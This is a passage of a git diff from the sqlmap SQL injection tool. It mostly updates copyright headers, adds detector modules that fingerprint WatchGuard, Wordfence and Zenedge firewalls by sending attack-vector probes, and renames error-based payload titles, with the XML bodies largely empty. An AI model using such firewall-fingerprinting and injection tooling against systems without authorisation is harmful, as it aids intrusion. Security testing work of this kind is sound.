898474b010d..3f044c76bd6 100644 --- a/waf/urlscan.py +++ b/waf/urlscan.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import re diff --git a/waf/uspses.py b/waf/uspses.py index 79f2df490d4..bc26c1efdbe 100644 --- a/waf/uspses.py +++ b/waf/uspses.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import re diff --git a/waf/varnish.py b/waf/varnish.py index 68e2c90c23b..3075866336b 100644 --- a/waf/varnish.py +++ b/waf/varnish.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import re @@ -10,7 +10,7 @@ from lib.core.enums import HTTP_HEADER from lib.core.settings import WAF_ATTACK_VECTORS -__product__ = "Varnish FireWall (OWASP) " +__product__ = "Varnish FireWall (OWASP)" def detect(get_page): retval = False diff --git a/waf/wallarm.py b/waf/wallarm.py index 2ca65b15692..9ad1f46c6a8 100644 --- a/waf/wallarm.py +++ b/waf/wallarm.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import re diff --git a/waf/watchguard.py b/waf/watchguard.py new file mode 100644 index 00000000000..f6c63e4ac1b --- /dev/null +++ b/waf/watchguard.py @@ -0,0 +1,24 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +import re + +from lib.core.enums import HTTP_HEADER +from lib.core.settings import WAF_ATTACK_VECTORS + +__product__ = "WatchGuard (WatchGuard Technologies)" + +def detect(get_page): + retval = False + + for vector in WAF_ATTACK_VECTORS: + _, headers, code = get_page(get=vector) + retval = code >= 400 and re.search(r"\AWatchGuard", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None + if retval: + break + + return retval diff --git a/waf/webappsecure.py b/waf/webappsecure.py index 413da8bd484..5eb0e2e4f01 100644 --- a/waf/webappsecure.py +++ b/waf/webappsecure.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ __product__ = "webApp.secure (webScurity)" diff --git a/waf/webknight.py b/waf/webknight.py index 110ff74ea6f..ed9247bdd0e 100644 --- a/waf/webknight.py +++ b/waf/webknight.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import re diff --git a/waf/wordfence.py b/waf/wordfence.py new file mode 100644 index 00000000000..0a941c9245f --- /dev/null +++ b/waf/wordfence.py @@ -0,0 +1,24 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +import re + +from lib.core.settings import WAF_ATTACK_VECTORS + +__product__ = "Wordfence (Feedjit)" + +def detect(get_page): + retval = False + + for vector in WAF_ATTACK_VECTORS: + page, _, _ = get_page(get=vector) + retval = re.search(r"This response was generated by Wordfence", page or "", re.I) is not None + retval |= re.search(r"Your access to this site has been limited", page or "", re.I) is not None + if retval: + break + + return retval diff --git a/waf/yundun.py b/waf/yundun.py index 06b24301c5f..ede324f0a05 100644 --- a/waf/yundun.py +++ b/waf/yundun.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import re diff --git a/waf/yunsuo.py b/waf/yunsuo.py index 8e16fa953d7..fd0b9b36944 100644 --- a/waf/yunsuo.py +++ b/waf/yunsuo.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import re diff --git a/waf/zenedge.py b/waf/zenedge.py new file mode 100644 index 00000000000..82d367cfa31 --- /dev/null +++ b/waf/zenedge.py @@ -0,0 +1,24 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +import re + +from lib.core.enums import HTTP_HEADER +from lib.core.settings import WAF_ATTACK_VECTORS + +__product__ = "Zenedge Web Application Firewall (Zenedge)" + +def detect(get_page): + retval = False + + for vector in WAF_ATTACK_VECTORS: + _, headers, code = get_page(get=vector) + retval = code >= 400 and re.search(r"\AZENEDGE", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None + if retval: + break + + return retval diff --git a/xml/banner/mysql.xml b/xml/banner/mysql.xml index 2daf1d1adea..5ac157302c4 100644 --- a/xml/banner/mysql.xml +++ b/xml/banner/mysql.xml @@ -27,6 +27,14 @@ + + + + + + + + @@ -35,8 +43,4 @@ - - - - diff --git a/xml/banner/servlet.xml b/xml/banner/servlet-engine.xml similarity index 100% rename from xml/banner/servlet.xml rename to xml/banner/servlet-engine.xml diff --git a/xml/banner/cookie.xml b/xml/banner/set-cookie.xml similarity index 100% rename from xml/banner/cookie.xml rename to xml/banner/set-cookie.xml diff --git a/xml/errors.xml b/xml/errors.xml index 6358b6bba65..e84ad922e46 100644 --- a/xml/errors.xml +++ b/xml/errors.xml @@ -3,8 +3,8 @@ - - + + @@ -14,24 +14,24 @@ - - + + - + - - + + - + - + @@ -53,16 +53,17 @@ - - - + + + + - + @@ -70,7 +71,7 @@ - + @@ -79,51 +80,54 @@ - + - - - + + + + + - - + + - + - + - + - + - + + - + diff --git a/xml/payloads/error_based.xml b/xml/payloads/error_based.xml index b71971a5d5d..5cd78d8c107 100644 --- a/xml/payloads/error_based.xml +++ b/xml/payloads/error_based.xml @@ -28,7 +28,7 @@ - MySQL >= 5.5 OR error-based - WHERE, HAVING clause (BIGINT UNSIGNED) + MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED) 2 4 3 @@ -72,7 +72,7 @@ - MySQL >= 5.5 OR error-based - WHERE, HAVING clause (EXP) + MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP) 2 4 3 @@ -113,7 +113,7 @@ - MySQL >= 5.7.8 OR error-based - WHERE, HAVING clause (JSON_KEYS) + MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS) 2 5 3 @@ -305,7 +305,7 @@ - MySQL >= 4.1 OR error-based - WHERE, HAVING clause (FLOOR) + MySQL >= 4.1 OR error-based - WHERE or HAVING clause (FLOOR) 2 2 3 diff --git a/xml/queries.xml b/xml/queries.xml index f5c85eef8ff..1610a19a8e1 100644 --- a/xml/queries.xml +++ b/xml/queries.xml @@ -194,7 +194,7 @@ - + @@ -283,7 +283,7 @@ - + @@ -506,7 +506,7 @@ - + @@ -563,7 +563,7 @@ - + @@ -586,7 +586,7 @@ - + @@ -601,7 +601,7 @@ - + @@ -611,23 +611,23 @@ - + - + - + - + @@ -635,19 +635,19 @@ - + - + - + - + @@ -776,7 +776,7 @@ - +